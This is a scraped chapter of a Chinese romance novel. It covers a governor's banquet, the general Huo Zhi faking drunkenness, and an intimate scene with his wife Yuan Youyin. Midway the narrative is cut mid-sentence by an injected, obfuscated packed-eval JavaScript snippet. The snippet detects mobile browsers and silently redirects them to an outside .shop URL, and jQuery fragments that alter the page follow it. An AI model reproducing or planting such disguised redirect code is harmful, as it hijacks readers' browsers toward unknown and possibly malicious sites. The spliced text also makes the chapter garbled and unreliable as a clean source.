万书库 > 其他小说 > 矜棠 > 27. 燕尔
    俩人在房里胡闹了半晌,又换了身衣服,才悠悠去往前院,到筵席上时,杨振已经在那里等着了。


    除了他和一些亲近的要员,伴他右侧的还有一位容色卓越的妇人,想来便是他的夫人。


    霍治和元宥音相携而来,甫一见到他们,杨振就同他夫人上前,刘氏亲切笑着,执起元宥音的手,引她往女席去。


    元宥音走前望了一眼霍治,后者朝她安抚颔首,这一幕落在杨振眼中,肥厚的脸庞上褶子平添了几道:“将军放心,内子安排妥善,定能照顾好夫人。”


    “有劳。”


    一众僚属纷纷起身相迎,杨振和霍治在上首入座,不多时便起舞奏乐,满堂热切,觥筹交错间,有杨振为先,这些人三句不离“蓬荜生辉”,两句要道“朔陵以将军为荣”,恭维话不断,无一词提及长公主一案。


    倒像是众人心知肚明,此案早有定夺,这趟不过走过场,做给上面看的罢了。


    霍治不动声色扫过四周,举杯,平淡同来者对饮。


    看似恭维的话术里,几句是对他知道多少的试探,几句是对他态度为何的试探。


    无论这些人怎样粉饰太平,他心下了然,既然他们不提案情,他便也顺坡下驴,酒过三巡,就找起了由头要去寻元宥音,惹得酒劲上头的众人好一阵调侃。


    再说元宥音这边,女席设在正厅东侧的偏厅,中间隔着一道镂花屏风,丝竹声透过缝隙传来,隐隐约约,比起正厅多了分清净。


    席上女眷不多,相较于京城里的大官夫人,朔陵郡的这些女子尽管穿着得体,却多是因头回见元宥音这等姝色无双的人物,而难免目露拘谨。


    郡守夫人刘氏就要镇定得多,张罗着添茶倒水时,嘴上不忘同她话起家常:“夫人成婚多久了?”


    “不及一年。”元宥音施施然回道。


    “原是一年不到吗?”有夫人大着胆子接话,“那正是新婚呢。”


    元宥音笑着称是。


    几位夫人见她容貌似天仙出众,待人接物却是意外得好说话,不由地也便渐渐放开了胆子,又有佳酿作伴,刘氏从中斡旋,宴至尾声,女席这边一派和乐。


    “夫人可想在郡里好生游玩一番?若是如此,尽管遣人来寻我便是,这郡里哪处糕点最佳、景致最雅、衣裳最美,无人能比我知之更多。”有夫人显出本性,颇为豪爽热情。


    刘氏在一旁打趣:“要说玩乐,严夫人确实可赞一句百事通。”


    众夫人笑开,元宥音举袖掩唇,眉宇间同样挂着笑意,她杯中清酿见底,刘氏先一步瞧见,抬抬手招来一人,为她斟酒。


    元宥音瞧着,笑问:“这位姑娘模样好生标志,看着倒是与刘夫人有几分相似呢。”


    面前低眉躬身为她斟酒的姑娘豆蔻芳华,纤腰楚楚,正有着少女的烂漫娇憨,从商这么久,她看人一向准,只一眼就能察觉刘氏的意图。


    被号称京城第一美色的女子夸赞容貌,无疑是得到了最高的肯定,那姑娘斟好酒,脸稍红便退到了刘氏身边,听她忙道:“夫人好眼力,这位乃是妾身小女,在夫人面前无异于蒲柳见牡丹,可不敢应了这一句托大,实在是引人自惭形愧。”


    这是自谦,元宥音正要说什么,却听隔帘处,几道谈笑声将行将至,听着像是往她们这处来了似的。


    “这才分隔多久,便要来寻夫人,将军竟是半刻也离不得县主啊。”


    “此言差矣,将军正值燕尔新婚,夫人又是这等难寻的美娇娘,可不正是所谓美人乡?”


    “哈哈哈,言之有理!言之有理。”


    众夫人停了杯,不少人从中听到了自家夫君的声音,一致往屏风处望去,便见几人朗声笑着自后走出,在席前停了脚步。


    几句调侃元宥音一字不落,听进了耳里,顿觉烧得慌,方才饮了寥寥几盏的果子酒,竟也觉得醉人了,再看寻来女席的几人搀扶着一人,不正是霍治。


    她忙罢杯,起身走去,秀眉轻蹙,既因他寻来而羞怯,又因见他醉酒至此而担忧。


    杨振亲自领人来,扶着霍治,宽慰道:“夫人不必着急。”


    “劳烦杨大人了。”元宥音轻点下颌,自他手里接过霍治,搀着他一边臂膀。


    吃醉的男人倒也乖顺,未耍泼胡闹,刚刚走了一路,脚步踉跄虚浮,半边身子都靠在人家肩头,可怜杨振文官一个,身量也矮小,被他这么大马金刀地倚着,不免有些滑稽。


    元宥音费力撑起他,去瞧他神色,就见他眼眸蒙着一层醉雾,迷离得很,像是真醉得不清。


    这场宴也该散场了,刘氏体恤元宥音一介女流,要扶霍治回房实在辛苦,正要遣人来帮衬,就闻跟着杨振前来的一干僚属里,有一人自告奋勇。


    杨振瞥他一眼,点头应了:“也好,务必把将军好生送回房。”


    男子称是,与元宥音一人一边搀着人,往客院走去,期间砚冬和云岫几次想来搭把手,接替元宥音,却因霍治将人搂得紧,而找不到机会。


    元宥音嗔怪地扫他了一下,让他们二人不用再上前,同时心中生出一分狐疑,看似是她和僚属一起扶着霍治,实则她未使上几分力气,他高大的身子压着两人,虽不让她离开,却将大半的重量都给了那个僚属。


    她落得轻松,一路行至门前,僚属止步,砚冬适时上前接手,元宥音看向他:“多谢这位大人了,不知大人要怎么称呼?”


    “鄙人姓纪,夫人言重了,这是下官分内之事。”纪吴拱手作揖。


    粗衣布衫的男子背影渐行渐远,元宥音收回视线,和砚冬一块将人带进了屋里,云岫麻利地拾好了床榻,霍治被扶着躺下。


    砚冬和云岫褪去他的鞋袜,元宥音冷眼瞥着男人阖紧的双眼,一挥手让两人出去,嘱托他们把门看好。


    屋里静了下来,她眉梢轻扬,只是站在榻边,不多动作,僵持了小一会儿,就在她以为男人要这样一直下去时,他蓦地睁了眼,神情里哪还有半分醉态,居然微微仰身,一把将她拉入怀里。


    怕她撞在榻上会痛,还看准了角度。


    元宥音猝不及防上了榻,背靠上一堵热墙,是他饮酒后难免滚烫了些的胸膛,她一手被他握着,便扭过头去,用另


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506822|202225||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一只手不轻不重地打了他一下,哼声:“头回见夫君做戏,倒比那伶人还要真上几分,叫人好生佩服。”


    霍治黑眸锁着她,受了她一下也不见恼,问:“夫人常去听戏?”


    “还成。”


    “最悦哪名伶人?”


    他现在是越来越没正形了,三言两语也能吃味上,着实令人无奈,元宥音回过神,嘴一撇,划他一眼,没好气地应道:“每个都欢喜得紧!”


    她是半点不纵着他,霍治握着她的手掌捏了捏,不死心还要再追问:“当真?”


    “自是假的。”元宥音身子动了动,调整了一下,想要抽回手,“松些,这样躺着实在不适。”


    他们现在的姿势已然顾不上雅不雅观了,她僵着大半身子怕压着他,便想换个躺法,霍治依言松了手,一掌护在她腰侧,由着她动作。


    元宥音撑起身,也就在这时,见了他的模样,长袍凌乱,襟口被蹭乱了些,麦色的肌肤外露,胸膛随着他的呼吸而起落,随处是有力的生命量感。


    她目光不知该往哪落,慌乱间,正巧撞进他深邃的眸里,分明有醉后的慵懒散漫,又少不了他本身自有的锐利迫人。


    “你今晚瞧出什么了?”她下意识想谈起正事,好在这股危险的氛围里得以自保。


    男人像是看穿了她的盘算,无声轻勾了下嘴角,扣着她腰的手没放,将人往自己这里带了带,方云淡风轻地回她:“与我所料无二。”


    口气大地像是已经找到了真凶,就差明着说一切尽在掌握。


    “放心,定能在姑母出殡日前赶回京城。”他又说。


    元宥音看着他这样,一时竟拿不准他到底吃醉了没:“可难受?今晚当真饮了不少?”


    她忧心写了满脸,明晃晃地把对他这副态度的怀疑摆在了台上,霍治看着她,意味不明地笑了声,眼中的深意多了些:“我到底醉否?夫人可要自己来探?”


    “怎么探?”元宥音不解望他。


    她现在距他近在咫尺,委实是方便了他,眼下就算是心思才起,下一刻,不过是臂上用劲,便将人带到了身下。


    “正好,将走前未尽的事情补上吧。”他低低道。


    元宥音被他压着,一手撑在外,阻了两边的退路,才晃了神,就被熟悉的气息裹进,他饮的酒清冽香浓,比她饮的果子酒烈了几分,通过这个吻,尽数叫她尝出了味。


    散在榻上的乌发被他不小心压住,她呜咽一声,不知是在宝贝她的发丝,还是因他磨人的气势而欺负出的抗议。


    两人气息都乱了,霍治垂眸,把她的头发拢好,挑出一缕,绕在指尖把玩:“明日,陪我去个地方吧。”


    “上哪?”元宥音眼眸水光潋滟,却用起唯一剩下的清明思绪,“人人都盯着我们呢,不怕被人发现啊?”


    她都知道的事情,他自然晓得,能让他在这种情况下,也要带她去的地方,再想到这里是他的故乡,元宥音隐隐猜到了些。


    闻言,他哑笑了声:“嗯,所以我们偷偷地去。”


    全然当她是个孩子在哄一般。